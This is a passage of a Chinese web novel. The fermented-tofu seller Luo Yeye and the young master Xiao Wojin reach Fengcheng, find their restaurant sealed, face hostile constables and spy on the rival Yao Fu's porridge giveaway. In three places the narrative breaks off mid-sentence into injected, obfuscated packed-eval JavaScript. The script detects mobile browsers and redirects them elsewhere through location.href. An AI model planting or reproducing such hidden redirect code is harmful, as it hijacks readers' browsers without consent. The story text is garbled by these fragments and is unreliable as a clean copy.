一抬眼,正好对上萧握瑾的目光。罗烨烨意会,上前一步示意开讲:“老夫人,这门亲事另有人选,但做生意是做生意,人情更容易算不清账,不如把酒楼交给我这个生意人。况且我是小摊主,我有经营经验,不必多教,便可上手。” 老夫人看着她,沉吟片刻,忽然开口:“酒楼的采买,你打算怎么管?” 哎呦,这是出考题了。 罗烨烨应声便答:“定点采买,三家比价。肉菜粮油各选一个老户,签长期契,价定在时价九成上下。遇着节庆或雨水天气,提前三日备货,免得到时候涨价还买不着好的。” 老夫人点头,可那眉头并未完全松开:“可是王小姐那……” 话未说完,忽然一阵急促的脚步声从外头传来,一个家仆跌跌撞撞跑进,急头白脸:“枫城酒楼出事了!王小姐被诬告御膳有问题,人已经被抓了。原定的御膳全废,得赶紧换新菜品。” 满座哗然,果然,座中有宾客轻轻冷哼:“我就说,她家菜品有毒,这消息我提早已知。” “有毒也不是霉豆腐,那是我家乡菜,做法没问题,谁有问题?”方才那妇人回头瞪他一眼。 罗烨烨脑子里灵光一闪,还没开口,便听萧握瑾已经出声:“我带罗烨烨上京城,用她的菜品进贡面圣,查明真相救人。” 老夫人却摇头:“这可是御膳,你们都没经历过,我不放心,还是该找个有经验的师傅。” 萧握瑾的目光又落回罗烨烨身上。而恰好,罗烨烨也看向他。 他俩都读懂了。 一会儿找借口,偷偷走! 罗烨烨心头一热,浑身都来了劲,正这时,外头忽然一声马嘶鸣,紧接着小二的声音传进来: “哎呀!这马车备好了,马突然就跑出来了——” 萧握瑾一把拉过罗烨烨的袖子:“走!” 两人扭头便往外跑,流言蜚语如呼啸呀,连身后老夫人的神情都没来及看,把扬声喊的东西,远远抛在脑后: “行了行了,别跑那么快,让你们去,带上盘缠,别忘了盘缠!来人,跟着你家公子,他没怎么出过城,四体不勤,要护着他!” 一步之遥,罗烨烨直接脚一蹬,扑进了车厢里,抬头见那小二正在马上,焦躁地逮缰绳,怎么也不走。 罗烨烨累得大喘气,赶紧大喊:“当先!我们走呀!” 那马竟听懂了似的,长嘶一声,撒开蹄子就跑。 这下,青顶马车一晃荡,两人又一头栽到地上,滚作一团。再着急忙慌爬起来,马车已奔出老远,车帘被风破开,呼啦啦灌进车厢,把罗烨烨的衣襟吹得鼓起,灯盏连街,也把她身上映得红红火火。 春夜渡,枫城关。 外头一树树的桃花飞过,落了几瓣粉红卷进风里,飘飘摇摇,不知要往哪里去。 罗烨烨扒住车帘往外看,边换气边感叹:“哇,好漂亮呀!” 漂亮二字入滋味,她低头,下意识摸了摸腰间。那罐霉豆腐还在,还好还好。 头顶传来萧握瑾的声音。他也有些气喘,低低的,带着点笑意:“嗯,确实好看。” 珠光宝裘石榴色,娥桥烟雨步步帘。 4. 探柳 青轿春水悠悠晃,那白毛絮柳,便入梦来。 梦中小院阳光明媚,她端着刚发好的一板霉豆腐。伸手想摸,白绒绒的毛忽然动了。 一块一块从竹篾上伸直懒腰,抖抖身上的白毛,拱出四只小短腿,再一抬头全是……小猫? 罗烨烨懵了,低头看自己手里还捏着那块没变的,那豆腐在她指尖颤了颤,抖出耳朵和尾巴,喵喵地冲她叫: “烨烨。” 她手一抖。 那只小猫就着她的手心蹭了蹭,又唤了一声,这回更清楚了,软轻轻、又有点凉,像是霉豆腐沾了蜜,是甜口的豆腐: “罗烨烨。” 罗烨烨浑身抽动了一下,天光渐渐透过眼帘,蒙进眼睛里,就给她晃醒了。 沿途小雨淅淅沥沥,车轮陷进湿软里,一颠一颠,有种踏在霉豆腐上的飘飘然。心口跳得有点快,她喘了两口气,起身,循着潮味,往窗框一趴,果然,到郊外了。 什么怪梦。 她偏头一看,萧握瑾正靠在车壁上,闭目静静睡着。一缕翘发压在额角,随着马车轻晃。罗烨烨睡目惺忪,揉了揉眼,越看,越像耳朵尖。 哎呀……此等美男子。 正是赶路,她又忍不住想伸手抓一抓他头发,看着就软。索性赶紧把目光挪开,脑袋空下来,便把这一连串的事在心头过一遍。 这系统说攻略萧握瑾,可以让霉豆腐名声远扬,说的不会就是当他家那个御膳主厨吧? 昨夜酒楼里听来的话又浮上来:萧家在枫城的酒楼被举报食物中毒,做御膳的那位亲家王小姐被捕入狱。如今她需上京顶替,去做那道御膳。 啧啧,早料到这大景律法不靠谱,必定是查错了。昨日还说她无证摆摊,要抓她走呢! 罗烨烨还没唏嘘两句,心情忽然又有点微妙。话说这萧握瑾怎么还定亲了呀,年纪轻轻贵公子就成为……人夫? 这般一想,她又愣了,眼睛不禁悄咪咪又往他脸上飘过去。想来是这吊儿郎当,不干正事之纨绔,若成了有主之草,日后洗手作羹汤、小意温柔模样…… 恰巧,窗外一缕暖意便描在他面庞。 光晕绒绒,在他眉骨边缘化开,镀上一抹毛边,真像霉豆腐上那层小白毛,软软的,让人忍不住想伸手碰一碰。 这如光如晕照在眼前,一时给罗烨烨晃得都飘飘然了,心头又热了几分,正看得傻笑,聚焦回目光,定睛再想瞧分明时,却对上萧握瑾静静地望着她。 哎呀。罗烨烨立马收起龇着的大牙,睁圆眼睛,故作无事地回看他:“哎,你醒啦,睡得咋样呀?” 萧握瑾半合着眼,尚带倦意,见她望回来,那点灼热便散了,又换上那副轻飘飘的神气,只两个字:“作何?” 罗烨烨脸上堆起笑,带着几分八卦往他那边挪了挪,仰脸道:“老板,那你到底对人家王小姐是什么心思呀?你这是欲拒还迎呢,还是……哎呦哎呦!” 话没说完,头上发髻角角就感觉被揪了,脑袋上便觉一疼,她立马龇牙咧嘴,那力道就变轻,又松开。她刚要发作,便觉头顶上那只手还在摆弄着什么。 萧握瑾在帮她把拗进去的头发弄出来,轻轻地往外拨。罗烨烨顿了顿,又闭住嘴。 牵青丝,勾心神。头顶的发饰轻轻响,很克制地作声。珠子碰到旁人的手指,就那么慢慢地晃着,也不言语。 罗烨烨就盯着他衣襟看,许久,才听头顶传来一声哼笑。这么近的距离,又像是被他看穿了。萧握瑾先开了口,声音懒懒的:“怎么可能,我可是纨绔,风流成性,根本不会定亲,面都没见过。” 哎呦,还真是少听见纨绔本人说自己纨绔的。 这般一问一答,心中便有一团缠紧的红麻绳,悄悄抻开。那包着的火在心口砰砰跳起,燃上胸腔,染上眼底,她便活跃起来,撇撇嘴,开始找茬:哎呀,那你也不能抓我头发呀。俗话说,人与人之间是有边界感的,你不能随便碰别人,可以提醒……” 萧握瑾还真点了头,顺着她这道理,意味悠长,低头看手里的东西,转了转。罗烨烨目光迅速抓住那一闪,惊讶了,伸手摸自己头上发髻:“哎?怎么是我的头钗呀,你给它拽下来了。” 手指没触到圆润的珠子,反而碰到硬硬的花瓣。她又往下摸,还有流苏。 她抬头看。那公子靠着马车,弯着唇角,漫不经心地从旁揭起一面铜镜,照在她面前。 镜中,罗烨烨眨了一下圆圆杏眼。与她现实中别无二样,不过头上编了麻花双丫髻,缠着两只成色赤粉的艳桃花,明媚明丽,正配她这身杏色旋裙。 耳边声音适时便轻轻响起:“喜欢吗?” 镜中的她当然喜上眉梢,边念喜欢,边凑近细看。那铜镜就动,若秋水一晃,又往后撤去。罗烨烨再往上瞧,对上那公子用铜镜遮着面,只露双桃花眼微眯着,那弯饶眼底,一时间看得人迷离。 若非今见伊人面,错认妖容画描眉。 她情不自禁,正要开口说道说道这颜色:“萧握瑾……” 那公子便又轻叹气,一副为难模样,蹙眉望她:“你的发饰睡歪了,给你弄下来,还怕硌着头呢。唉,我是如何善解人意,你便这般想我,小爷我可真是错付了。” “哎呀,公子,你可是我老板呀,我知道你对我好,我就是你最忠心的属下!” 罗烨烨赶紧舔,同时又心痒痒,忍不住趁热打铁,“那公子,咱们到了枫城,我工资多少呀?哎,我这么合你心意,这酒楼确实是全交给我经营吧?你就投资就行了,其他的一切都交给我。” 萧握瑾看着她,没接话。只把那只头钗在指间又转了一圈,轻轻拢进手心里。便点了点头,似乎真在思索呢,道:“是么,你这么好?” 接着便翘起眉,看向她,道:“那我十天半个月不来,每个月就来一趟,我忙。看看你营收如何,其他全权交给你。账啊,我也不过问了,你爱怎么做怎么做。雇人方面,知会我一声就成,特殊情况也不必通报。” 他顿了顿,唇角弯起来:“你感觉这样如何?” 罗烨烨直接拍手称快:“那这简直太妙了,萧老板,您真是慧眼识珠,大事小事全交给我,我一定能给你照看得井井有条呀,营收咱们就对半分,再有分红咱们随时商量!” “你想得挺美。”萧握瑾笑一声,终于给她点破了。看着萧握瑾又耍她,罗烨烨也叉起腰,大咧咧道:“是呀是呀,想必我这头饰也是萧老板你的行头吧?待会儿我去做霉豆腐也要戴着它呢。” 萧握瑾煞有介事点头:“是啊。现在可是临近四月桃花开,你的霉豆腐那么像桃花,当然正应仲春。你作为我的掌灶,要和霉豆腐,一样红艳。” 罗烨烨抬手便要摘:“那我一会开灶上菜戴,我要换我的小珠子头钗。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516197|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不行。”萧握瑾果断道。 罗烨烨摸了摸那小桃花,看着他,歪了头,睁大眼睛问:“为什么不行?” 萧握瑾又不说话了。 他只回视她,看了好久,那双眸慢慢眯起来,令罗烨烨无端联想到什么毛茸茸小动物。他声音轻轻的,这回罗烨烨又听见了那春水流动,是清澈的少年音,像说书,又磁又好听:“因为……” 罗烨烨总是单见他画眉描目,不见其启唇吐语,只觉抓心挠肝,看着他那个挡着他的铜镜,伸手就要去抢掉。 未想萧握瑾比她更眼疾手快,直接抻手躲了,等他俩视线再撞到一起,马车外就传来呼声:“下车啦,咱们到了枫城酒楼,醉仙楼!” 那真是江畔悠闲鸭儿过,碧水浮毛,连雨天。 车辙还在咕噜咕噜地响,轧着阵阵清笛来,到了平地,这时候正适合扬琴奏一曲呀,再唱首小田歌。 罗烨烨在窗前哇了一声,不见桃花,但见拂柳。此时正是阳晴落雨,她伸出手掌,接了些雨水,又伸进来给萧握瑾看: “这种天,发霉豆腐其实容易发坏霉。霉豆腐适合那种干燥的天,但这种潮一些的吧,它适合发别的东西。” 萧握瑾点头,续问:“比如?” 罗烨烨接道:“比如笋。还有手工艺品,烧天青色的瓷,还适合做花伞花扇,就是让雨水浸透颜料,晕出来的那种彩色,很好看。” 她说着,萧握瑾便过来。罗烨烨眼见他靠近,耳边却响起了呼喊声:“不好了!咱酒楼被查封了,现在做不了,所有食材都封存待查,连豆腐都买不到。” 这下,罗烨烨立刻从窗沿窜跑了,跳下马车,往小二说话方向跑:“哪啊,不可能吧,这街上会一个卖豆腐的都没有,所有食材都被没收了吗?” 脚方触地,道比较宽,沿街数十家小摊贩,卖茶、卖茶点,卖豆腐。罗烨烨一眼定到那个头发花白的老丈,看他车上整整齐齐码着几板白嫩嫩的豆腐,不等他货摊停稳,便直接开口叫断他: “诶老丈!豆腐咋卖?” 那老丈脸刷地变了脸,非但没停,反而把车把一攥,推得更快,哪知罗烨烨也不是吃素,三两步拦住车头,喘着气喊他:“老丈豆腐多钱一斤?来二斤!” 老丈把车往身后一护,头摇不止:“不卖不卖,你去别处看看吧!” “诶你有生意不做呀?”罗烨烨掏出几个铜板递过去,“就买两板,你看这铜板多亮……” 老丈却像见了瘟神似的,把车往旁边巷子里一拐,头也不回地跑了,就剩罗烨烨愣在原地。 车水马龙熙攘逢迎,她一一扫过去,小摊贩却皆避面,一时市声人影,如置她身外。 什么意思,都不卖? 来不及细想,身后又传来小二的苦嚎:“官大爷!我真刚来没犯事啊,酒楼事我一概不知,求你们别抓我!” 罗烨烨立刻回头,两个玄衣捕快不知何时已到了马车旁,一个按着小二的肩膀,另一个正从怀里往外掏镣铐。小二被压得弯着腰,脸涨得通红。 这下,彻底点燃罗烨烨脑门了,她几步冲过去,一把将小二的肩膀夺回来,刚要开骂,那个掏镣铐的捕快已经抬起头来,冷冷扫了她一眼:“你就是老板?等你们好久了。” 他年纪不大,面容冷峻,却使得官威,眼底尽是轻蔑:“醉仙楼涉嫌违规经营,你作为东家,跟我们走一趟。” 5. 官杀 又来! 罗烨烨方要辩解,可话到嘴边,直接就顺口怼出去了:“那你们怎么还搁这蹲我们呢,你们是早知道我们要来啊?” “嗯?”那捕快抬眼,目光刮在她脸上,立马把她看得心里发毛,后背冷汗都窜上来了。可与此同时,一股火气也渐渐从心底长上来,烧得她胸中发闷。 不行不行,还得做生意呢,赶紧认怂。 她深吸一口气,硬着头皮往前迈了一步,挡在小二身前,面上立刻嘿嘿一笑,点头哈腰道:“不是不是,大人,您听我解释呀。他是我们家仆,按律法也是我们家私产,要不我给二位大人供奉点赎金?主要咱们正缺人手呢,没他不行呀。” “私产,你们?”捕快像听到笑话,嗤了声,把镣铐在她眼前掂了掂,“大景疆土以内,皆是王土,皆是王之所有。你家仆既入我辖地,便归我管,连你也是。废话少说,赶紧跟我们走!” 这回左右直接动作,要上来拿人。 “那你们也不能蹲点抓人吧?这是守株待兔!” 罗烨烨真是没招了,破罐子破摔拔高了声喊道,“你们要真按律法办事,这整条街上说不定都有无证摆摊的,怎么不把这条街扫一遍!专挑我们萧家有酒楼、有商帖的下手?” 她这声音一出,原本看热闹的小贩都哗然一片,又瞪她又骂她的。罗烨烨直接挑准了对面街一个卖豆腐的老汉,指着他摊子大喝:“就你,你别跑!你肯定没摊贩牌,你必须给我留下来!” “别白费口舌了。”那官差嗤之以鼻。 他拦到她面前,七尺高的个子将她挡得严严实实,一点光都透不进:“尔等市井商贾,无非锱铢必较,惯行倾轧举报之事。还有你这样的,老子见得多了,仗着几分姿色,惯会装腔作势,遇事便示弱,逢人便卖惨,扮出一副受欺模样,好教旁人替你出头、替你担罪。坏事做尽,却叫法度饶过你,叫世人怜惜你。” 那话沉甸甸砸下来:“如今害死人,又想胡乱攀咬旁人,呵呵。一介女流,毒妇如尔。” 一字一句,直坠得她张口结舌。一如一拳闷在胸腔里,那口气憋着,喘不出,也吞不下。 她张了张嘴,想辩,却又觉得说什么都是徒劳。这种人,这评价。与她行事实在相去甚远,荒谬得竟叫她有些发笑。 就在这当口,一袭白衣徐徐从她身侧掠过,挡在了她和捕快之间。 那人轻摇桃花折扇,声音懒洋洋的,像是在笑:“两位差爷,好大的官威啊。酒楼既已封了,若再把我们人都带走,这善后整改之事,又该谁来料理?” 罗烨烨实在不想看见这个官差趾高气扬、小人得志的嘴脸,索性转过身去,不再看了。便听他在背后说:“最多三日,只给你们三天时日,整改不好,你们全都下狱。” “好,三日。” 罗烨烨听到身后衣料摩擦声音,是萧握瑾把折扇别回腰间,又听他慢悠悠道:“那就借你吉言。不过三日后,若我萧家酒楼整饬妥当,是不是也该查查,这条街上到底谁在‘装腔作势’,胡乱举报?” 官差冷笑道:“你们先改好再说吧!” 罗烨烨直接哼出一口气,笑出声了,转身就抬手要指那官差。然而被萧握瑾转身,握住了肩头,又给她转回去了。他没接话,只把扇子展开,替罗烨烨挡了日头: “走吧,晒。” 小二从官差手里挣脱开,连连低头说谢谢爷,抬头见他俩头也不回往酒楼大门去了,赶紧往上追,揉着肩膀凑过来,苦着脸赔笑道:“罗姑娘,别气了别气了,好歹人没事……” 罗烨烨脸上又笑了,刚想开口说一句我没气啊,接着一笑,嘴唇一扯,就变形了,一点忍不了,最终都止不住把胳膊肘抱起来。 萧握瑾给她接了一段:“人是没事,但真是可气。本以为换个新酒楼,事能少些,谁知一上来便是这种东西。畜生怎么这般多?” 罗烨烨被他逗笑了,又笑出了声,抬起侧脸瞟他。 这萧握瑾慢条斯理,像是才瞧见她,一对上目光,便朝她挑眉笑。那双桃花眼呀,真是柔情,令人只消一望,便什么烟尘都抛了。他声音还轻轻的,问她:“他真讨厌,是不是?” “对!真讨厌。” 罗烨烨应声,这口恶气便吐出来了。这下情绪得以宣泄,令她都禁不住把脚往地上狠狠一跺,把青石板地跺得啪一声响。 就这一响,三人便知已来到酒楼近前。果然抬首便见那宽朗大门,朱漆雕梁,好不气派。 罗烨烨几步走到酒楼大门前,伸手拔掉插着木栓的门,使劲推。推两下,推不开,低头一看脚边,门底拴着一把锁。 她再往上看。 门上交叉贴着两道官府封条,盖着鲜红大印。整个又高又阔的门楣,雕着醉仙楼三个大字,此刻却被这两条薄薄的纸,封得透不出一口气。 弄虚、作假…… 这公文大封条,常人看着便禁不住心虚。果然小二支支吾吾道:“要不,咱们去别的酒楼看能不能借借后厨吧?咱们要是在这看久了,不会再被抓吧……” 罗烨烨哼了一声,直接上手,唰地一下、刺啦一声,把那两条封条一撕,留下来的胶痕还粘了些颜色在上面。高的地方,她便跳起来撕,也要撕掉。有胶就一下下抠,也要把那字,抠得拼凑不出完整。 撕完,罗烨烨抱起胸,站在原地喘了会气:“别的后厨估计也不借给我们,那街上卖豆腐的见了我都跑呢。” 说罢,她深吸了几口气,低头转动视线,往地上寻扫。 冷静,冷静。先别生气,得想办法。 小二跟着左思右想,也十分为难:“主要是,咱们酒楼一被查,名声就不好,人家不愿意卖给咱。” “就算被封店,也不该整条街都不卖食材,还恰巧是豆腐,”罗烨烨摸了摸下巴,声音渐渐低下来,有点自言自语,“不过,按照剧本,咱们肯定是被人害了……” 果然小二唉声叹气,抓抓头发,就窝火地开始吐任务了:“说不定还是那个姚富搞的!哎,还有今日的官差。他正搞御膳呢,这回估计又是他收买别的店铺,不让咱们买应季食材。” 罗烨烨敏锐嗅到关窍所在,立时,脑子里的系统就叮一声,给她眼前展开一段指引:“接取副本一:州内赛。战胜姚富,获选州内御膳名额。” 恰时,萧握瑾从她身后越过,也去帮她揭门上的胶,便道:“封条是新贴的,这几日落雨,胶还能拭下来。我方问过对面茶铺,咱们酒楼原本的掌柜和几个伙计,都被带去问话了。” “那咱们去姚富家酒楼探探。我去找姚富,小二你跟萧老板去衙门要人手,还有王小姐也在他们手上,顺道把酒楼锁给解了。答应给咱们三天时间,怎么不给钥匙?一点都不正规。” 罗烨烨顺口吐槽一嘴,接着分派起来,“咱们人手不够,只能分头行事,日头落山前回这碰头吧。” 萧握瑾没接话茬,却转身往马车那边走:“这么急做什么?行李还没安顿好,回来住哪儿。” 他背着身招手,做了个手势。小二立马会意,往前跟上。罗烨烨就见他从腰间解下一块白玉,正是当初她说像霉豆腐的那块,给了小二:“去找附近旅店歇脚,拿这个到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516198|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙门问问,盘缠在车厢包袱里。” “哟,那可对不住您嘞罗姑娘,我觉着自己就能成!”这话出来,就知道小二那是非常上道,他眉开眼笑接过玉,朝罗烨烨遥遥喊道,“少爷就跟您一块去吧,万一那姚富不好惹呢?” 罗烨烨叉起腰:“那你觉得我好不好惹,官差好不好惹?咋不想想万一官差不认你,把你再逮进去呢?” 这下罗烨烨不忿了。刚才被官差下了士气,这会自己麾下兵将怎么还不听她调遣呢?到底酒楼是不是全权归她管呀。 她怼道:“能有多不好惹,能比官差来势汹汹啊?” 小二抢先帮腔:“他还真是不好惹,而且他不怕官差。” 罗烨烨又被点毛了:“那你说我怕喽?” 萧握瑾递话道:“是咱们的摊子怕。” 小二也顺杆下,压低声道:“我是说啊,这不正说明他难缠么?就昨个咱们待的酒楼,早先附近就有他姚家分号。那时候为了抢生意,他买通街面,硬是不让卖菜给萧家,更过分,连酱油都不给打。” “那你到底是谁呀?萧家的事你都知道,你这业务太广泛了吧?”罗烨烨不禁问。 便看小二摆手,一副不讲不讲模样:“原先是萧家家丁,前两年在萧家投资的酒楼干。你们听我说姚富啊,别打岔。他就算后来,教官差罚了钱,还有胆暗地里使绊子。” 他历数其恶状:“弄不到菜方,就摹照食材,偷偷仿制。还趁雨季拉价敛财,堪称吞金兽。这回御膳的事,听说他也盯上了。” 传闻姚富十分凶狠,能吓跑各种凶神恶煞。 那大腹便便,往那儿一站,跟座山似的,再别说一掀锅一溜勺了,才是汗水如流油呀。一说姚富,便知来势汹汹,先声夺人,挡都挡不住。 罗烨烨听在耳里,脑中便慢慢冒出光团,晕出一个影来: 青面獠牙,眼似铜铃,肚子挺得比灶台还高,走起路来地皮都颤。那身影往酒楼门口一杵,跟鬼似的呀,客人还没进门,先被吓退三舍。 她想着,没绷住,噗地笑出声。 然而一抬头。 望江楼,已在眼前。 那楼高三层,飞檐翘角,檐下悬着两排红绸灯笼,风一吹,穗子轻轻晃着。门面刷得锃亮,招牌上三个烫金大字,龙飞凤舞,气派得很。 她目光顺着那楼檐落,滑过雕花的窗棂,擦过发亮的门框,落到门槛前那几级青石台阶。 之后,愣住了。 玄衣束发长身立,抱刀倚柱目似睱。 那女人闻得客来,长睫微抬。小麦肤色正衬日照,睫毛上本就缀着一点碎光,明晃晃的,像嵌了粒金蕊,掉到罗烨烨面上,也映入她眸底。 “嗯?”她轻轻应了一声。 罗烨烨眼都直了。她张了张嘴,也难抑睁大的眼睛,好半天,才挤出几个字,话说不利索: “你、你就是……你是姚富呀?” 那女人望着她,缓慢眨了下眼。 点一下头:“嗯,我是。” “姚富?”罗烨烨更震惊了,一双杏眼瞪得滚圆,忍不住凑近她脸细瞧,“你真是吗?” 女人扬起唇角,微微歪下头,把那半张没被额发挡着的面庞,往罗烨烨眼前送了送,让她仔细瞧个够: “是啊。” 说着,目光流盼,往下落了落。她伸出手指,隔空在罗烨烨发髻上轻轻一点: “你的发饰很好看,是桃花,和你一样……” 话音未落,一道声音从身后插进来: “罗烨烨,别咧着嘴笑了。” 6. 腐乳 罗烨烨还没偏头,眼前就被一扇子盖住了。 萧握瑾抬步上前,朝那女子颔首:“在下萧握瑾,此来是为酒楼之事,想请教姚东家几句。” 他说着,抬眼看了看那女子,神色淡淡,补了一句:“话说这位侠士,并不叫姚富吧?” 扇子底下的罗烨烨扒开他的手,又去看那女人。竟然,那女子果真便竖起双手全招了,眉捎歉意,转眸看向罗烨烨:“抱歉啊,我以为说我要富了,我才接的,不好意思。” “……”给罗烨烨说得没了气,跟她大眼瞪小眼。 方才他仨一分完工,罗烨烨便立马赶到地方,没想到得见如此美丽之人,正喜着呢,结果更是意外,这位一张口就噎住她了。 心里顿时有点小不服,她叉起腰,还是想哼唧几句:“其实吧,我寻思我也没口音呀?我……” 话还没说完,外头忽然传来一阵喧哗。 她还没反应过来,便被萧握瑾拉住袖子,往旁边一带,不禁脚下踉跄,差点掉了头巾。待手忙脚乱扶住了,再站定时,已被他带着闪身,躲到一张空着的摊车后头。 是姚富,这回姚富真来了。 日头高照,正入午时,家家户户烟囱冒烟的点。这会小二估计已到衙门,而他俩也正探到姚富这酒楼,望江楼门前。 罗烨烨焦急地蹲在摊车底下,真是蹲不住,脚没一会儿就麻了。她忍不住对萧握瑾说: “不是说姚富正在施粥吗?你刚才拦我干啥?我这身打扮不是说好了,我就假装道姑,去给他要几个白豆腐尝尝,把食材要回来。” 萧握瑾蹙眉:“人太多了,你再看看多挤呢?” 罗烨烨立马伸头往摊车侧边探出,不料这艳阳天的风一吹呀,当面直接把她头上方巾掀跑了,她伸手去揪,没揪住,整个人跟着一爪子扑到街地上,手掌拍在地面,却触到一股雷霆震动。那简直,跟马蹄子要奔过来似的。 她表情一变,一抬头,竟是一群乞丐呜囔囔往她脸上冲! “诶!施粥了——” 有那沙哑的嗓门喊起来,话音落下,外头便炸了锅。一股踩踏危机劈头盖脸朝她砸下来,她还来不及向后倒爬,就被身后一股力道捞住了肩头,给一个巧劲逮了回去,才没被这群队伍冲飞。 魂魄归位,才发觉有人抽出她怀里揪的方巾,帮她戴上。温度蹭到脸,是萧握瑾。 “施粥,东家施粥了!”这声音在她耳边炸开,吓了罗烨烨一跳,居然是她旁边的石头动了。 这次再观,是个缩衣团身的乞丐,浑身破破烂烂,挤在那像块石头似的,此刻两眼放光,直推旁边那个小石头:“快点,碗!” 一汪乌泱泱的人一拥而上,被姚家家仆拦在一丈之外。有叫嚷的、吵嚷的,还有敲碗的,乱成一锅,真像在奏哀乐。那台阶上一个是青衫长衫,挽着髻的年轻女人,直皱着眉,往那挤得面青发紫的一撮人指了指:“别挤别挤!一会挤死人了啊,死人不施了!” 她呵斥着,目光却忽然转向罗烨烨这边,传出疑声:“哎,那谁啊?” 罗烨烨顿时心里咯噔,先保持僵住不动。 接着,方才她见过的那英美女子,声音又响起来:“没什么,是我送货的姐妹。镖给你们押到了,我先去卸货了。” “哦行,你去吧,我去跟姚掌柜说一声……哎,掌柜!” 那年轻女声笑语攀谈,引出这酒楼的东家,脚步声又沉沉地响起。罗烨烨换了口气,小心翼翼趴下身,从摊车缝隙里往外看:见一个中年乡绅打扮的人,从酒楼门槛迈出来。 大腹便便,面庞圆润,笑得满面红光,走起路来脖子上赘肉都在颤。他穿一身绛紫袍,腰间挂着块硕大的玉佩,每一步都晃得响,和他声音一样,叮叮咣咣吵耳朵: “哈哈哈,大家都别抢,都有份儿!云姨啊,多亏你找的货源,这下咱们豆腐,可再不缺啦!” 呦,这是什么意思? 罗烨烨一下就警惕了,难道说,这街上能搜刮的豆腐,全被他给买了? 她再看,那外头的姚富已撸起袖子,露出两条粗壮胳膊,往门口摊车走去。那摊车被她眼前的横木挡着,看不清到底做的是什么东西。 罗烨烨有些焦急,刚想站起身去探个全貌,却被萧握瑾按住手腕。抬眼看他,他摇了摇头。 别动。 罗烨烨听见哗啦哗啦油炸的声音,又听见锅煮开的声音,接着闻见了香气。她左扭右扭,透过缝隙好像看见了白瓷碗,有绿色小菜,还有红红的东西。 红红的东西?那什么东西啊,花吗? 接着听见门被推开的声音,街上越来越喧嚣的吵闹,又听姚富洪亮的嗓门: “可以吃了!见者有份,别急别慌!” 话音落下,呼啦啦一群人一拥而上,直把罗烨烨面前挡得严严实实。反而这下,她可以好好站起来看了。 一立起身,目之所及,这群人有破衣烂衫的,面黄肌瘦的,有老有小。罗烨烨观之,觉此刻群人皆变作了饿虎豺狼,眼冒精光,挤作一团,甚至伸出脏灰的手直接抓,抹一把便伸进嘴里舔。那模样,真是饿得要没命了。 姚富的小厮在一旁啧声,皱眉斥道:“别挤,都别挤,排好队!” 姚富却呵呵笑起来,红光满面,一点也不恼。他摸着自己的大肚腩,劝声和善得很:“稍安勿躁,都有份,都有份!” 说着,他抄起他左手大铲子,往灶台前一泼。火苗腾地蹿起来,映得众人眼睛都亮了。铲子高高扬起,噼里啪啦落下,简直如金花绽开,那香气便爆开了。 那锅里不知煮的什么,热气一蒸,香味扑鼻而来。咸香里带着酒意,辣味中透出鲜甜,混着米粥的糯香,直往人鼻子里钻。 勾得罗烨烨要掉口水了,从摊车往前凑了几步,踮脚看。张嘴睁眼,喉咙不自觉地咽了一下。好像吧…… 还真挺香的! 她忍不住扒住几个外圈乞丐,往里探头,只见姚富拿着铲子在锅里搅动,那粥稠得能挂勺,里头一块一块红彤彤的东西,被粥水裹着,若隐若现。 他舀起一勺,倒进一个乞丐碗里。那乞丐双手捧着碗,也不怕烫,咕噜咕噜就往嘴里灌,喝完了还把碗舔得干干净净。 “好吃,好吃啊!”那乞丐咧嘴笑,露出一口黄牙。 后头的人更急了,挤着往前涌。姚富却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516199|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不紧不慢,一勺一勺地舀,每一碗都舀得满满当当。 粥见了底,他又从旁边拿起一只小碟,碟里码着几块赤红的方块。 罗烨烨定睛一看:哇。 这不是腐乳吗?和霉豆腐同源! 姚富用筷子夹起一块,放在粥面上。那红油在粥里慢慢化开,像一朵花似的,一点点洇进米白色的粥里。 “玫瑰腐乳,”他笑道,声音里带着几分得意,“尝尝吧?” 这回轮到排队等了好久的街坊邻居了。那人的衣着相比之下干净些,低头喝了一口,下眼睑和脸皱起来,咂巴咂巴嘴巴,说不出啥: “哎呀,这……这啥味儿啊?咸得苦!” 底下的小厮忙捧场:“这是我们东家新研制的玫瑰腐乳,用玫瑰花露腌的,你们今儿个有口福了!” 可乞丐们哪管什么玫瑰不玫瑰的,一个个埋头猛吃,咕噜咕噜的吞咽声此起彼伏。有人喝完了,还把碗举起来,伸长舌头去舔碗底。 姚富看到这一幕,哈哈大笑:“慢点吃,还有呢,还有!” 罗烨烨一时心里复杂,她在后头看着,又觉得这个人吧,虽没有方才那女子的英气,却也不像传闻里那般凶神恶煞。 